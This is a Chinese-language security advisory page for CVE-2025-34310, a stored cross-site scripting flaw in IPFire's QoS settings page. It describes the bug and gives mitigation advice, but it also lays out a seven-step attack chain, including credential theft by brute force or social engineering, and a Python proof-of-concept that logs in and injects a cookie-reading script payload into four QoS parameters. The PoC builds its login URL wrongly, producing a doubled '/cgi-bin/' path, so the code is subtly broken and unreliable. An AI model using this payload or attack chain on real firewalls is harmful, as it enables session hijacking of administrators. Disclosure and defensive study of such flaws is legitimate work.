IPBUF安全漏洞报告
English
CVE-2025-34310 CVSS 5.4 中危

CVE-2025-34310: IPFire QoS设置存储型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-34310
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IPFire

相关标签

存储型XSSIPFireQoSCVE-2025-34310跨站脚本Web应用漏洞认证绕过会话劫持防火墙网络设备

漏洞概述

CVE-2025-34310是IPFire防火墙系统中发现的一个存储型跨站脚本(XSS)安全漏洞。该漏洞存在于IPFire 2.29版本(Core Update 198)之前,攻击者可以通过Quality of Service(QoS)设置功能注入恶意JavaScript代码。漏洞主要影响QoS模块的四个参数:INC_SPD(入站速率)、OUT_SPD(出站速率)、DEFCLASS_INC(默认入站类别)和DEFCLASS_OUT(默认出站类别)。攻击者作为低权限认证用户提交包含恶意脚本的QoS配置时,这些数据会被存储在服务器端。当其他管理员查看QoS设置页面时,存储的恶意脚本会在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的管理权限滥用。由于该漏洞需要用户交互触发(UI:R)且攻击复杂度较低(AC:L),CVSS评分被评定为5.4分,属于中等严重程度。

技术细节

该漏洞的根本原因在于IPFire的QoS配置模块对用户输入缺乏充分的输入验证和输出编码。攻击过程如下:首先,认证攻击者访问IPFire管理界面的QoS设置页面(/cgi-bin/qos.cgi);然后,通过HTTP POST请求提交精心构造的载荷,将恶意JavaScript代码嵌入到INC_SPD、OUT_SPD、DEFCLASS_INC或DEFCLASS_OUT参数中;这些未经消毒的用户输入被直接存储到数据库或配置文件中;当其他管理员访问同一QoS配置页面时,应用程序从存储中检索这些值并直接渲染到HTML响应中,由于缺少适当的HTML实体编码,浏览器将其解析为可执行脚本。与反射型XSS不同,存储型XSS的恶意载荷会持久存在于系统中,只要相关配置记录存在,任何访问该页面的用户都会受到攻击影响。漏洞利用条件包括:攻击者需要拥有IPFire的有效认证凭据,且需要诱导其他管理员访问受污染的QoS配置页面。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标IPFire设备版本,确认版本低于2.29 (Core Update 198),并定位QoS管理接口路径(/cgi-bin/qos.cgi)
STEP 2
初始访问
攻击者获取IPFire系统的有效认证凭据,可通过暴力破解、凭证填充或社工手段获取低权限账户
STEP 3
Payload注入
攻击者构造包含恶意JavaScript代码的HTTP POST请求,将XSS Payload写入INC_SPD、OUT_SPD、DEFCLASS_INC或DEFCLASS_OUT参数值中
STEP 4
数据持久化
恶意输入被存储到IPFire的配置数据库或QoS设置文件中,实现持久化驻留
STEP 5
诱导访问
攻击者通过社会工程手段诱导具有管理权限的管理员访问受污染的QoS配置页面
STEP 6
Payload执行
管理员访问QoS页面时,浏览器解析并执行存储的恶意JavaScript代码,导致Cookie窃取或会话劫持
STEP 7
权限提升
攻击者利用窃取的会话令牌冒充管理员身份,执行更高权限操作或获取系统完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-34310 PoC - IPFire Stored XSS via QoS Settings # Target: IPFire < 2.29 (Core Update 198) TARGET_URL = "http://<ipfire-ip>/cgi-bin/qos.cgi" USERNAME = "admin" PASSWORD = "password" XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """ This PoC demonstrates how to inject XSS payload through QoS settings. The payload is stored and executed when other users view the QoS page. """ session = requests.Session() # Step 1: Login to IPFire login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(f"{TARGET_URL.replace('/qos.cgi', '/cgi-bin/login.cgi')}", data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Logged in successfully") # Step 2: Inject XSS payload through QoS settings qos_data = { 'INC_SPD': f'1000000{XSS_PAYLOAD}', 'OUT_SPD': f'500000{XSS_PAYLOAD}', 'DEFCLASS_INC': f'1{XSS_PAYLOAD}', 'DEFCLASS_OUT': f'2{XSS_PAYLOAD}', 'ACTION': 'save' } response = session.post(TARGET_URL, data=qos_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[+] Payload will execute when other users view QoS settings") return True else: print("[-] Injection failed") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_stored_xss()

影响范围

IPFire < 2.29 (Core Update 198)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制QoS设置功能的访问权限,仅允许受信任的管理员账户访问;2)实施严格的会话管理和多因素认证,防止凭证被盗用;3)在反向代理层面配置输入过滤规则,对QoS相关参数进行XSS特征检测和阻断;4)监控/cgi-bin/qos.cgi接口的异常请求模式;5)对管理界面实施严格的CSRF令牌验证机制;6)考虑暂时禁用QoS功能直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表